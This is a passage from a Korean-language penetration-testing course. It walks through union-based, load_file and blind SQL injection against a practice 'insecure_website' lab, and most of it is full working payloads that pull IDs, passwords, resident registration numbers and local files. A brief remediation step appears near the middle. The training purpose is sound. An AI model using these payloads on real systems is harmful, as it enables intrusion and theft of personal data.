' and 1=1# 을 입력하면 전체 게시글이 검색된다. → 참
' and 1=2# 을 입력하면 게시글이 검색되지 않는다. → 거짓
select * from insecure_board whre title like '%' and 1=1#%';
연결 연산자를 사용하는 방법도 있다.
MySQL: 공백 → te' 'st
ORACLE: || → te'||'st
MSSQL: + → te'+'st
현재 사용하는 DB는 MySQL이므로 공백을 사용하여 test 문자열을 검색
te' 'st 를 입력하면 test 게시글이 검색된다. → 참
te'a'st 를 입력하면 게시글이 검색되지 않는다. → 거짓
select * from insercure_board where title like '%te' 'st%';
CMD 창을 열고 MySQL에서 똑같이 확인이 가능하다.
위와 같이 SQL 구문 입력을 통해 SQL Injection 취약점이 있는것을 확인할 수 있다.
Union-Based 공격에는 절차가 있다.
1) ORDER BY 구문을 통해 컬럼 개수 식별 → order by 구문 사용이 가능하면 union 구문 사용이 가능하다.
2) UNION 구문 사용 → union 사용을 위해서는 컬럼 개수, 데이터 타입이 동일해야한다. (ORACLE, MSSQL)
3) 출력 포지션 파악 → 각 컬럼의 데이터가 실제 웹 페이지 어느 항목에서 출력되는지 파악
첫번째로 order by 구문을 통해 컬럼 개수를 식별한다.
order by는 레코드를 정렬하는 구문으로 컬럼을 기준으로 정렬한다. (오름차순, 내림차순)
order by 1은 첫번째 컬럼을 기준으로 정렬한다는 의미이며, order by 2는 두번째 컬럼을 기준으로 정렬한다는 의미이다. 이때 존재하지 않는 컬럼에 대해서는 당연히 거짓으로 결과가 출력되지 않는 점을 이용하여 SQL Injection을 진행한다.
게시글 검색창에 ' order by 1# 입력하면 test 게시글이 검색된다.
' order by 10# 입력 시 검색되지 않는다. → 존재하지 않은 컬럼에 대한 정렬로 에러발생
' order by 9# 입력 시 test 게시글이 검색된다. → 아홉번째 컬럼이 존재하므로 결과가 출력됨
이를 통해 컬럼 개수가 9개인 것을 알 수 있다.
select * from insecure_board where title like '%' order by 9#%';
두번째로 UNION 구문을 사용하여 컬럼을 출력한다.
union 사용을 위해서는 컬럼 개수와 데이터 타입이 동일해야하는데, 여기서 데이터 타입이란 상위 select 절과 하위 select절의 데이터 타입을 의미한다.
select 1, 'test' union select 2, 'apple'
→ 첫번째는 숫자형(INT), 두번째는 문자형(CHAR)으로 동일한 데이터 타입을 가진 경우에만 사용 가능하다.
→ MySQL은 데이터 타입이 동일하지 않아도 상관없다. MSSQL 및 ORACLE은 데이터 타입 일치시켜야함.
' union select null,null,null,null,null,null,null,null,null#
→ 여기서 사용한 null 은 데이터 타입에 영향을 받지 않는 아무 값이 없는 자료형을 의미한다.
MySQL에서 동일하게 검색하면 다음과 같은 결과를 확인할 수 있다.
select * from insecure_board union select null,null,null,null,null,null,null,null,null#;
→ insecure_board 와 null 값을 가진 9개 컬럼 출력
' union select null,null,null,null,null,null,null,null#
→ null 값을 컬럼 개수와 다르게 8개만 입력 후 검색하게 되면 아무 게시글도 검색되지 않는다.
→ DBMS 에러가 발생해야 하지만 웹 페이지에서 출력되지 않도록 설정한것 같다.
MySQL 에서 null 개수를 8개로 검색하니 컬럼 개수가 일치하지 않는다는 에러가 발생한다.
세번째로 출력 포지션을 파악한다.
' union select 'test',null,null,null,null,null,null,null,null#
' union select null,'test',null,null,null,null,null,null,null#
' union select null,null,'test',null,null,null,null,null,null#
취약점 진단 시, 이런식으로 null 값에 순차적으로 문자열을 입력해서 시도한다. (각 컬럼의 데이터 타입을 확인하기 위해)
MySQL은 데이터 타입에 영향을 받지 않으므로 어느 포지션이든 문자열을 입력하면 출력이 가능하다.
' union select 'test','test',null,null,null,null,null,null,null# 입력하여 첫번째와 두번째 컬럼이 어느 위치에서 출력되는지 확인한다.
웹 페이지 insecure_board 테이블의 1번과 2번 컬럼이 No와 Title 인 것을 확인할 수 있다.
현재는 게시판에 게시글 개수가 적어 이렇게 확인해도 되지만, 실제 취약점 진단 시 게시글이 여러 개가 존재하는 경우 게시글을 쉽게 식별하기 어려울 것이다.
공격을 효율적으로 하기 위해 상위 select 절을 거짓으로 하여 레코드 출력을 방지한다.
' and 1=2 union select 'test','test',null,null,null,null,null,null,null# 를 입력한다.
select * from insecure_board where title like '%' and 1=2 union select 'test','test',null,null,null,null,null,null,null#%';
' and 1=2 union select 'test','test',null,null,'test',null,null,null,null# 를 입력하여 웹 페이지에서 No, Title, Write 부분에 test 가 출력되는 것을 확인할 수 있다. 이를 통해 1,2,5 번 컬럼이 No, Title, Write인 것을 확인할 수 있다.
이 부분을 활용하여 웹 페이지 상에서 컬럼 데이터의 출력 위치를 확인하여 이 3개 파라미터를 공격 포인트로 잡는다.
select * from insecure_board where title like '%' and 1=2 union select 'test','test',null,null,'test',null,null,null,null#%';
출력 포인트를 확인 후 필요한 데이터를 조회한다.
데이터 조회 공격 프로세스 - 모든 데이터 조회 공격 기법이 동일하다.
1) 기본 정보 목록화 - 버전, 사용자, 현재 데이터베이스명
2) 메타 데이터 목록화 - 데이터베이스, 테이블, 컬럼 → 데이터 사전(Data Dictionary)을 사용
3) 데이터 목록화
step 1) 기본 정보 목록화
system_user() → MySQL 연결에 대한 현재 사용자 이름과 호스트 이름을 반환
version() → MySQL 버전 정보 반환
database() → 현재 데이터베이스명 반환
' and 1=2 union select system_user(),version(),null,null,database(),null,null,null,null# 을 입력한다.
사용자 이름, MySQL 버전정보, 현재 데이터베이스명이 출력된다.
step 2) 메타 데이터 목록화
메타 데이터는 데이터에 대한 정보, 자료의 속성을 의미한다.
schemata는 전체 DB에 대한 정보를 가지고 있다.
information_schema 관련 정보는 블로그1, 블로그2 를 참고한다.
MySQL: information_schema.schemata, information_schema.tables, information_schema.columns
MSSQL: master.sys.databses, [db].sys.objects, [db].sys.columns
ORACLE: all_tables, all_tab_columns
information_schema.schemata → 어떤 데이터베이스가 있는지
information_schema.tables → 어떤 테이블이 있는지
information_schema.columns → 어떤 컬럼이 있는지
schema_name → information_schema.schemata 에서 데이터베이스명을 가지고 있는 컬럼
table_schema → information_schema.tables 에서 데이터베이스명을 가지고 있는 컬럼
table_name → 테이블명
column_name → 컬럼명
데이터베이스 목록화를 진행한다. (전체 DB 목록 확인)
' and 1=2 union select null,schema_name,null,null,null,null,null,null,null from information_schema.schemata# 을 입력한다.
→ show database; 와 동일한 결과가 나온다.
→ schema_name은 DB의 이름을 가지고 있는 컬럼이다.
→ MySQL에 어떤 데이터베이스가 있는지 출력
출력된 데이터베이스 목록 확인 시 아까 SQL Injection 공격을 통해 출력된 pentest 가 확인된다.
테이블 목록화를 진행한다. (특정 DB의 테이블을 목록화)
' and 1=2 union select null,table_name,null,null,null,null,null,null,null from information_schema.tables# 을 입력하게 되면 pentest 를 포함한 모든 데이터베이스의 테이블이 출력된다. 그러므로 WHERE 절을 사용하여 특정 데이터베이스를 지정하여 테이블 목록을 출력한다.
' and 1=2 union select null,table_name,null,null,null,null,null,null,null from information_schema.tables where table_schema='pentest'# 을 입력하면 pentest 데이터베이스의 테이블 목록을 확인할 수 있다.
컬럼 목록화를 진행한다. (특정 테이블의 컬럼을 목록화)
customer_info 는 고객정보를 저장한 테이블이다.
' and 1=2 union select null,column_name,null,null,null,null,null,null,null from information_schema.columns where table_schema='pentest' and table_name='customer_info'# 을 입력하면 pentest 데이터베이스 내 customer_info 테이블의 컬럼 목록을 확인할 수 있다.
step 3) 데이터 목록화
특정 컬럼의 데이터를 확인하기 위해 데이터 목록화를 진행한다.
테이블: customer_info
' and 1=2 union select id,password,null,null,jumin,null,null,null,null from customer_info# 을 입력하면 ID, Password, 주민등록번호가 출력되는 것을 확인할 수 있다.
이번에는 members 테이블의 컬럼을 확인해본다.
' and 1=2 union select null,column_name,null,null,null,null,null,null,null from information_schema.columns where table_schema='pentest' and table_name='members'# 을 입력하면 pentest 데이터베이스 내 members 테이블의 컬럼 목록을 확인할 수 있다.
members 테이블 컬럼 내 데이터를 확인해본다.
' and 1=2 union select id,password,null,null,name,null,null,email,null from members# 을 입력한다.
members 테이블에 존재하는 ID, Password, 이름, 이메일을 확인할 수 있다.
members는 웹 페이지 회원가입 시 생성했던 계정 정보가 있는 테이블로 이전에 생성했던 admin과 test 계정을 확인할 수 있으며, 비밀번호는 MD5 해시함수에 의해 암호화 되어 있는 것으로 보인다.
실습2-7 UNION-BASED 공격을 통한 로컬 파일 무단 열람 실습
로컬 파일이란? - DBMS 내 파일
현재 WAS와 DBMS는 물리적으로 동일 선상에 있는 서버(PC)이다.
MySQL의 load_file 함수를 활용한 공격으로, 특정 경로 내 파일을 무단으로 열람할 수 있도록 한다.
로컬 파일 무단 열람
→ 열람하려는 대상 찾아야 하는데(리눅스의 etc/passwd 등), 윈도우의 경우에 임의의 경로에 파일을 생성하여 열람 시도를 한다.
C드라이브에 information 폴더 생성, secret_info.txt 라는 텍스트 파일 생성 후 아무 문자열을 입력한다.
→ 파일 위치: C:\information\secret_info.txt
mysql.user 테이블 컬럼 목록
컬럼명 | 설명 |
select_priv | select 문을 수행할 수 있는 권한 |
insert_priv | insert 문을 수행할 수 있는 권한 |
update_priv | update 문을 수행할 수 있는 권한 |
delete_priv | delete 문을 수행할 수 있는 권한 |
create_priv | create 문을 수행하거나 테이블을 생성할 수 있는 권한 |
drop_priv | drop 문을 수행하거나 데이터베이스를 삭제할 수 있는 권한 |
reload_priv | mysqladmin reload 명령을 이용하여 접근정보를 다시 읽을 수 있는 권한 |
shutdown_priv | mysqladmin shutdown 명령을 이용하여 서버를 종료시킬 수 있는 권한 |
process_priv | 서버 프로세스를 관리할 수 있는 권한 |
file_priv | select into outfile과 load data infile과 같은 명령을 이용하여 파일에 읽고 쓸 수 있는 권한 |
grant_priv | 자신의 권한을 남에게 부여할 수 있는 권한 |
index_priv | 인덱스를 만들거나 삭제할 수 있는 권한 |
alter_priv | alter table 문을 수행할 수 있는 권한 |
references_priv | 사용하지 않음 |
로컬 파일 무단 열람 공격 순서
1) 권한 확인
파일 열람을 시도하는 SQL Injection을 시도하기 전에, 먼저 파일 열람 권한이 있는지 확인해본다.
select file_priv from mysql.user where user='root';
file_priv 는 MySQL에서 파일 엑세스 권한에 대한 컬럼이며, user는 root로 지정하여 확인한다.
기본적으로 Y로 설정되어 있으며, N으로 설정되어 있는 경우 파일 엑세스 권한을 허용하도록 변경해야 한다.
N으로 설정되어 있는 경우 다음 SQL 쿼리로 파일 엑세스 권한을 허용하도록 변경한다.
update mysql.user set file_priv='Y' where user='root';
flush privileges;
현재 실습으로 인해 CMD 창에서 MySQL에 접속하여 파일 엑세스 권한을 확인할 수 있지만, 실제 진단 시 웹 페이지 상에서 시도해야하므로 웹 페이지 검색창에 union 구문을 활용하여 파일 엑세스 권한을 확인해본다.
' and 1=2 union select null,file_priv,null,null,null,null,null,null,null from mysql.user where user='root'# 을 입력한다.
Y가 출력되는 것을 통해 파일 엑세스 권한이 있는 것을 알 수 있다.
2) 파일 열람 시도
웹 페이지 검색창에 union 구문 활용하여 파일 열람을 시도한다.
' and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null# 을 입력한다.
또한 C드라이브 뿐만 아니라 D드라이브 내 파일 열람도 가능하다.
파일 위치 D:\test\test.txt
웹 페이지 검색창에 union 구문 활용하여 파일 열람을 시도한다.
' and 1=2 union select null,load_file('D:/test/test.txt '),null,null,null,null,null,null,null# 을 입력한다.
파일 뿐 아니라 웹 페이지의 소스코드도 버프스위트를 활용하여 열람이 가능하다.
웹 페이지 검색창에 아무 문자열 입력 후 버프스위트에서 Intercept On 클릭 후에 웹 페이지의 Search 버튼을 클릭한다.
이후 ctrl + R 을 입력하여 리피터로 보낸다.
keyword 부분에 ' and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null# 을 입력하는데, 이때 프록시에서 서버로 전송하기 때문에 URL 인코딩을 적용해줘야 한다.
ctrl + U 를 입력하여 URL 인코딩 적용 후 Send 한다.
insecure_website의 index.php 소스코드를 열람해본다.
keyword 부분에 다음 SQL Injection 쿼리를 입력한다.
' and 1=2 union select null,load_file('C:/APM_Setup/htdocs/insecure_website/index.php'),null,null,null,null,null,null,null# 을 입력 후 ctrl + U 를 입력하여 URL 인코딩 적용 후 Send 한다.
Send 후 Response 값을 보면 index.php 소스코드가 확인된다
이처럼 파일이나 소스코드 열람 같은 경우에는 WAS와 DBMS가 물리적으로 동일한 서버 내에 존재해야 가능한 공격이다.
게시글 내 상세 페이지 확인의 URL 부분에서도 SQL Injection 공격이 가능하다.
test 게시글 클릭 후 상단 URL의 idx 부분에 order by 10%23 을 입력하면 에러가 발생하게된다.
%23은 #을 URL 인코딩 한 것이다.
idx 부분에 order by 9%23 을 입력하면 그대로 test 게시글이 확인되는 것을 통해 SQL Injection 취약점이 존재하는 것을 알 수 있다.
idx 부분에 and 1=2 union select null,null,null,null,null,null,null,null,null%23 을 입력한다.
null 값이므로 공란이 출력된다.
idx 부분에 and 1=2 union select null,'test',null,null,null,null,null,null,null%23 을 입력한다.
Title 에 test 문자열이 출력된다.
idx 부분에 and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null%23 을 입력한다.
Title 에 secret_info.txt 파일 내 문자열이 출력된다.
load_file 을 활용한 무단 열람 대응 방법
1) SQL Injection 대한 방어
2) 파일 권한 제거
update mysql.user set file_priv='N' where user='root';
flush privileges;
이때 주의사항은 어플리케이션과 연동된 DB 계정의 권한을 제거해야한다. 다른 계정을 제거하면 의미가 없다.
MySQL에서 root 계정의 load_file 권한을 제거 한다.
다시 웹 페이지에서 파일 열람을 시도한다.
idx 부분에 and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null%23 을 입력한다.
아래 그림과 같이 아무 것도 출력되지 않는다.
BLIND-BASED 공격이란 무엇인가?
Blind-Based 공격은 DBMS 에러가 발생하지 않는 환경에서 SQL Injection 공격을 하기 위한 방법이다.
DBMS 에러가 발생하지 않는다는 것은 Error-Based 공격이 불가능하다는 의미이며, Union-Based 공격이 불가능한 경우에도 Blind-Based 공격을 사용한다.
공격 우선순위는 다음과 같다
1) Union-Based
2) Error-Based
3) Blind-Based
Blind-Based 공격은 속도가 느리고 답답하지만, 현재까지 가장 많이 사용하는 SQL Injection 공격 기법 중 하나이다.
Union-Based 와 Error-Based 공격이 가능한 환경이 많이 없기 때문에 Blind-Based 공격의 사용 빈도가 높다.
Union-Based 공격은 DB 내 데이터가 웹 페이지에 출력되어야 하며, Union 구문 특성 상 제일 뒤에 배치되어야 공격이 가능하다. 그러므로 SQL 쿼리 구성의 영향을 받게된다.
Error-Based 공격은 DBMS 에러가 발생해야 공격이 가능하다.
위 특징들을 종합했을 때 Blind-Based 공격은 SQL Injection 취약점이 존재하는 상황에서 대부분 활용 가능한 공격이므로 사용 빈도가 높을수 밖에 없다.
Error-Based 와 Union-Based 공격은 데이터 크기와 상관없이 한번에 데이터를 출력할 수 있다.
Error-Based 공격은 1개의 레코드에서 1개의 컬럼 데이터가 출력된다. (데이터가 몇 Byte 인지 상관없이 반환)
Union-Based 공격은 다수의 레코드가 한번에 출력된다.
Blind-Based 공격은 1개의 문자(1 Byte)를 추론하기 위해 7번의 요청을 해야 하며, 응답값 분석을 통해서 1 Byte에 있는 아스키 코드가 무엇인지 추론하는 공격이다. → 응답값을 통해 데이터를 추론
데이터 추론 기법 종류
Type 1 : 순차 탐색 → 문자열을 1개씩 비교해서 참과 거짓으로 데이터를 추론
Type 2 : 이진 탐색 → 데이터 범위에 해당 하는 숫자에서 중간값 지정 후 크기 비교 하여 데이터를 추론
Type 3 : 비트 단위 탐색 → AND 비트연산을 통해 데이터를 추론, 십진수를 이진수로 변환 후 AND 비트연산
실습2-8 BLIND-BASED 데이터 추론 기법에 대한 이해
CMD 창 열고 MySQL 로그인한다.
pentest 데이터베이스 내 members 테이블과 연결된 웹 페이지에 SQL Injection 취약점이 존재한다고 가정한다.
select id from members where id='test' and 1=1; → 참
select id from members where id='test' and 1=2; → 거짓
알아내야 할 정보는 사용자명 system_user() 로 가정한다.
Blind-Based 공격은 한번에 알아내기 어렵기 때문에 다수의 공격 시도가 필요하다.
1) 순차 탐색 → substring 사용, 속도가 느리다
substring([대상 쿼리], N, 1)='a'
select id from members where id='test' and substring(system_user(),1,1)='a';
→ 사용자명의 첫번째 글자가 a 가 맞는지 확인
select id from members where id='test' and substring(system_user(),1,1)='b';
→ 사용자명의 첫번째 글자가 b 가 맞는지 확인
이후 c,d,e,f 등 순차적으로 글자를 삽입하여 참이되는 결과값이 나올때 까지 공격을 시도한다.
r 을 삽입하니 참이되는 결과값이 나오는 것을 알 수 있다.
사용자명의 첫번째 글자가 r 임을 알 수 있다.
select substring(system_user(),1,1);
→ system_user() 첫번째 글자 출력
select id from members where id='test' and substring(system_user(),2,1)='a';
→ 사용자명의 두번째 글자가 a 가 맞는지 확인
select id from members where id='test' and substring(system_user(),2,1)='b';
→ 사용자명의 두번째 글자가 b 가 맞는지 확인
c,d 등 순차적으로 문자열 삽입 후 o 를 삽입하니 결과값이 참이되는 것을 확인할 수 있다.
사용자명의 두번째 글자가 o 임을 알 수 있다.
이런식으로 하나씩 글자를 삽입하여 참이되는 결과값을 확인하여 데이터를 추론하는 공격이다.
select id from members where id='test' and substring(system_user(),3,1)='o';
→ 사용자명의 세번째 글자가 o 가 맞는지 확인
select id from members where id='test' and substring(system_user(),4,1)='t';
→ 사용자명의 네번째 글자가 t 가 맞는지 확인
select system_user();
이를 통해 사용자명이 root 라는 것을 알 수 있다.
2) 이진 탐색 → ascii, substring 사용, 32 ~ 126 숫자와 크기 비교
ascii(substring([대상 쿼리], N, 1))>80
select id from members where id='test' and ascii(substring(system_user(),1,1))>80;
→ 사용자명 첫번째 글자의 아스키코드 값이 80보다 큰지 확인, 참
select id from members where id='test' and ascii(substring(system_user(),1,1))>100;
→ 사용자명 첫번째 글자의 아스키코드 값이 100보다 큰지 확인, 참
select id from members where id='test' and ascii(substring(system_user(),1,1))>110;
→ 사용자명 첫번째 글자의 아스키코드 값이 110보다 큰지 확인, 참
select id from members where id='test' and ascii(substring(system_user(),1,1))>120;
→ 사용자명 첫번째 글자의 아스키코드 값이 120보다 큰지 확인, 거짓
select id from members where id='test' and ascii(substring(system_user(),1,1))>115;
→ 사용자명 첫번째 글자의 아스키코드 값이 115보다 큰지 확인, 거짓
select id from members where id='test' and ascii(substring(system_user(),1,1))>112;
→ 사용자명 첫번째 글자의 아스키코드 값이 112보다 큰지 확인, 참
select id from members where id='test' and ascii(substring(system_user(),1,1))>114;
→ 사용자명 첫번째 글자의 아스키코드 값이 114보다 큰지 확인, 거짓
select id from members where id='test' and ascii(substring(system_user(),1,1))>113;
→ 사용자명 첫번째 글자의 아스키코드 값이 113보다 큰지 확인, 참
select id from members where id='test' and ascii(substring(system_user(),1,1))=114;
→ 사용자명 첫번째 글자의 아스키코드 값이 114 인지 확인, 참
사용자명 첫번째 글자가 아스키코드 114이므로 문자열로 변환해야한다.
CHAR은 숫자를 받아 아스키코드에 맞게 문자를 리턴해주는 함수이다.
select char(114); 입력하여 문자열 확인
사용자명의 첫번째 문자열이 r 인 것을 확인할 수 있다.
이전과 마찬가지로 32 ~ 126 숫자와 크기를 비교하여 문자열을 탐색한다.
select id from members where id='test' and ascii(substring(system_user(),2,1))>80;
→ 사용자명 두번째 글자의 아스키코드 값이 80보다 큰지 확인, 참
select id from members where id='test' and ascii(substring(system_user(),2,1))>100;
→ 사용자명 두번째 글자의 아스키코드 값이 100보다 큰지 확인, 참
select id from members where id='test' and ascii(substring(system_user(),2,1))>110;
→ 사용자명 두번째 글자의 아스키코드 값이 110보다 큰지 확인, 참
select id from members where id='test' and ascii(substring(system_user(),2,1))>120;
→ 사용자명 두번째 글자의 아스키코드 값이 120보다 큰지 확인, 거짓
select id from members where id='test' and ascii(substring(system_user(),2,1))>115;
→ 사용자명 두번째 글자의 아스키코드 값이 115보다 큰지 확인, 거짓
select id from members where id='test' and ascii(substring(system_user(),2,1))>112;
→ 사용자명 두번째 글자의 아스키코드 값이 112보다 큰지 확인, 거짓
select id from members where id='test' and ascii(substring(system_user(),2,1))>111;
→ 사용자명 두번째 글자의 아스키코드 값이 111보다 큰지 확인, 거짓
select id from members where id='test' and ascii(substring(system_user(),2,1))=111;
→ 사용자명 두번째 글자의 아스키코드 값이 111 인지 확인, 참
사용자명 두번째 글자가 아스키코드 111이므로 select char(111); 입력하여 문자열을 확인한다.
사용자명의 두번째 문자열이 o 인 것을 확인할 수 있다.
사용자명의 세번째와 네번째 글자의 아스키코드 숫자와 크기를 비교하여 문자열 추론이 가능하며, 아래와 같이 o와 t 임을 알 수 있다. → root
이렇게 찾고자 하는 데이터의 아스키코드 숫자 크기를 비교하여 문자를 추론하는 공격으로, 순차탐색보다는 좀 더 빠르게 데이터를 찾을 수 있다.
3) 비트 탐색 → 이진수 AND 비트연산
ascii(substring([대상 쿼리], N, 1))&1
찾고자 하는 데이터를 아스키코드로 변환 후 AND 비트연산한다.
예를 들어 문자 r의 아스키코드는 114 이며, 이를 이진수로 변환하였을 때 0111 0010 이 된다.
각 이진수 자리와 AND 연산하여 참과 거짓을 통해 데이터를 추론하는 방법이다.
아스키코드는 127까지 있으므로 64까지만 확인하면 된다.
0111 0010 & 0000 0001 → 거짓
0111 0010 & 0000 0010 → 참
0111 0010 & 0000 0100 → 거짓
0111 0010 & 0001 0000 → 참
0111 0010 & 0010 0000 → 참
0111 0010 & 0100 0000 → 참
위 AND 비트연산에서 참이되는 값을 더하여 문자열로 변환하면 된다.
2+16+32+64 = 114 → r (아스키코드 114)
select database() → 현재 선택된 데이터베이스 조회
select id from members where id='test' and ascii(substring(database(),1,1))&1;
→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 1을 AND 연산, 거짓
select id from members where id='test' and ascii(substring(database(),1,1))&2;
→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 2를 AND 연산, 거짓
select id from members where id='test' and ascii(substring(database(),1,1))&4;
→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 4를 AND 연산, 거짓
select id from members where id='test' and ascii(substring(database(),1,1))&8;
→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 8을 AND 연산, 거짓
select id from members where id='test' and ascii(substring(database(),1,1))&16;
→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 16을 AND 연산, 참
select id from members where id='test' and ascii(substring(database(),1,1))&32;
→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 32를 AND 연산, 참
select id from members where id='test' and ascii(substring(database(),1,1))&64;
→ 현재 데이터베이스명의 첫번째 글자의 아스키코드와 64를 AND 연산, 참
참인 결과만 더해서 문자열을 추론한다.
16+32+64 = 112
select char(112); 을 입력하면 문자열 p가 출력된다.
select id from members where id='test' and ascii(substring(database(),2,1))&1;
→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 1을 AND 연산, 참
select id from members where id='test' and ascii(substring(database(),2,1))&2;
→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 2를 AND 연산, 거짓
select id from members where id='test' and ascii(substring(database(),2,1))&4;
→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 4를 AND 연산, 참
select id from members where id='test' and ascii(substring(database(),2,1))&8;
→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 8을 AND 연산, 거짓
select id from members where id='test' and ascii(substring(database(),2,1))&16;
→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 16을 AND 연산, 거짓
select id from members where id='test' and ascii(substring(database(),2,1))&32;
→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 32를 AND 연산, 참
select id from members where id='test' and ascii(substring(database(),2,1))&64;
→ 현재 데이터베이스명의 두번째 글자의 아스키코드와 64를 AND 연산, 참
참인 결과만 더해서 문자열을 추론한다.
1+4+32+64 = 101
select char(101); 을 입력하면 문자열 e 가 출력된다.
select id from members where id='test' and ascii(substring(database(),3,1))&1;
→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 1을 AND 연산, 거짓
select id from members where id='test' and ascii(substring(database(),3,1))&2;
→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 2를 AND 연산, 참
select id from members where id='test' and ascii(substring(database(),3,1))&4;
→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 4를 AND 연산, 참
select id from members where id='test' and ascii(substring(database(),3,1))&8;
→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 8을 AND 연산, 참
select id from members where id='test' and ascii(substring(database(),3,1))&16;
→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 16을 AND 연산, 거짓
select id from members where id='test' and ascii(substring(database(),3,1))&32;
→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 32를 AND 연산, 참
select id from members where id='test' and ascii(substring(database(),3,1))&64;
→ 현재 데이터베이스명의 세번째 글자의 아스키코드와 64를 AND 연산, 참
참인 결과만 더해서 문자열을 추론한다.
2+4+8+32+64 = 110
select char(110); 을 입력하면 문자열 n 이 출력된다.
이를 통해 현재 데이터베이스명이 pen으로 시작하는 것을 알 수 있다.
select database(); 를 입력하면 현재 데이터베이스가 pentest 인것을 확인할 수 있다.
실습2-9 BLIND-BASED 공격을 통한 중요 정보 탈취 실습
insecure_website 페이지에서 게시물 클릭 후 URL에 SQL Injection 취약점이 존재하는지 확인한다.
idx=11-1 입력 시 게시글이 확인되며, idx=11-2 입력 시 게시글이 확인되지 않는다.
idx=10 and 1=1 입력 시 게시글이 확인되며, idx=10 and 1=2 입력 시 게시글이 확인되지 않는다.
이를 통해 SQL Injection 취약점이 존재한다고 볼 수 있다.
버프스위트를 켜고 Intercept On을 한 후에 idx=10 and 1=1 요청을 리피터로 보낸다.
프록시에서 서버로 요청 시 URL 인코딩을 적용해야 하므로 idx=10%20and%201%3D1 로 요청을 보낸다.
또는 idx=10 and 1=1 입력 후 ctrl + u 를 입력하여 URL 인코딩을 적용한다.
%20 → 공백
%3D → =
요청의 결과가 참인 경우에는 게시글의 날짜가 확인이되는데, 이것을 기준 문자열로 정한다.
만약 요청이 거짓인 경우 게시글 날짜가 확인되지 않을 것이다.
idx=10%20and%201%3D2 를 입력하여 결과가 거짓인 요청을 보낸다.
위와 같이 존재하지 않은 게시글이 출력되며 게시글 작성 날짜는 확인되지 않는다.
위와 같은 기준을 가지고 Blind-Based 공격을 시도한다.
idx=10 and substring(system_user(),1,1)='r' 입력 후 ctrl + u 입력하여 URL 인코딩 적용 후 서버로 요청한다.
게시글 날짜인 2024-12-05 문자열이 확인된다. → 참
이를 통해 system_user 의 첫번째 문자열이 r 인 것을 알 수 있다.
이런식으로 참과 거짓 응답을 통해서 system_user 를 확인할 수 있다.
현재는 사용자명이 root 라는 것을 알고 있지만, 실제 공격 시 정확한 문자열 길이를 확인해야 한다.
길이값을 알기 위해 length 함수를 사용하여 확인해본다.
idx=10 and length(system_user())>10 입력하여 사용자명이 10자를 초과하는지 확인해본다.
10자를 초과하는 것으로 확인된다. 14를 삽입하여 14개가 맞는지 확인한다.
idx=10 and length(system_user())=14 입력한 후 요청을 보낸다.
idx=10 and substring(system_user(),1,14)='root@localhost' 입력 후 요청을 보내면 게시글 날짜가 확인된다.
결과가 참이므로 사용자명은 root@localhost 인 것이 확인된다.
system_user() 와 같은 기본 정보가 아닌 중요 정보를 탐색해본다.
중요 정보 탐색을 위해서는 메타데이터를 먼저 알아야하는데, 메타데이터 조회는 많은 시간이 필요하므로 특정 테이블 및 컬럼 정보를 획득한 상태로 가정한다. → customer_info 테이블의 컬럼 정보
admin 계정의 주민번호를 탐색하는 실습을 진행한다.
MySQL에서 customer_info 테이블 정보를 확인하면 다음과 같이 확인된다.
select * from customer_info;
admin 계정의 jumin 컬럼의 데이터를 출력하기 위해서는 먼저 데이터의 길이를 확인해야 한다.
length 함수를 사용하는데, length 함수는 1개의 데이터의 길이를 출력해주는 함수로 다수의 값이 들어가면 에러가 발생하게 된다. 그러므로 SQL 쿼리를 특정 데이터만 출력할 수 있게 지정해줘야한다.
순차적 레코드 출력을 사용하는데, limit 를 사용하여 출력한다.
limit [index],[size] → index는 위치, size는 출력할 데이터 개수
select id from customer_info limit 0,1;
→ customer_info 테이블의 id 컬럼에서 0번 위치에서 1개 데이터 출력
limit 과 length 를 활용하여 admin의 주민번호의 길이를 출력한다.
select length((select jumin from customer_info limit 0,1));
14가 출력된다.
admin 계정을 지정해서 데이터를 출력해본다.
select length((select jumin from customer_info where id='admin'));
limit 0,1 과 동일하게 14가 출력된다. 이를 통해 admin 계정의 주민번호는 14자리 라는 것이 확인된다.
버프스위트에서 해당 요청을 리피터로 전송하여 서버에 요청한다.
idx=10 and length((select jumin from customer_info where id='admin'))=14 입력 후 ctrl + u 를 입력하여 URL 인코딩 후 전송한다.
admin 계정의 주민번호가 14자리이므로 참이 나오게 된다. (게시글 날짜 출력됨)
순차적 레코드로 주민번호를 1개씩 추론한다.
idx=10 and substring((select jumin from customer_info where id='admin'),1,1)=8 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. → 첫번째 숫자 8
idx=10 and substring((select jumin from customer_info where id='admin'),2,1)=1 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. → 두번째 숫자 1
응답값이 거짓이 나오면 숫자를 차례로 대입하여 참인 결과값이 나올 때 까지 시도한다.
이번에는 이진 탐색을 활용하여 주민번호를 추론해본다.
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))>50 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 거짓이 나온다.
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))>40 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. → 세번째 숫자는 아스키코드 40 초과 50 이하라는 의미이다.
40과 50의 중간값 45를 대입한다.
